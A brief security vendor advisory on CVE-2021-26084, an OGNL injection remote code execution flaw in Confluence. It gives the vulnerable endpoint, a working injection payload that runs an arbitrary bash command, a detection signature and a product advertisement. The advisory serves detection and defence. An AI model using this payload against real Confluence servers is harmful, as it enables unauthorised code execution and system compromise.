Remote Code Execution on Confluence Servers (CVE-2021-26084)


Application Description

Create, collaborate, and organize all your work in one place. Confluence is a team workspace where knowledge and collaboration meet. Dynamic pages give your team a place to create, capture, and collaborate on any project or idea.


Vulnerability

An OGNL injection vulnerability exists that would allow an authenticated user, and in some instances unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance.


Identification

The proof of concept code identifies a POST request and the vulnerable parameter 'queryString'.

POST /pages/doenterpagevariables.action

PAYLOAD - queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var  x=new  java.lang.ProcessBuilder;x.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027'.$cmd.'\u0027]);x.start()\u0022)}%2b\u0027

Detection

By turning this into a traffic file and matching rule, we are able to detect attempts to influence the vulnerable parameter with code execution.


Coverage

Idappcom has created signature 8021769 along with a traffic file.


References

CVE-2021-26084

Github httpvoid writeup


Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can test your defences and report any issues. Learn more here https://www.idappcom.co.uk/traffic-iq-professional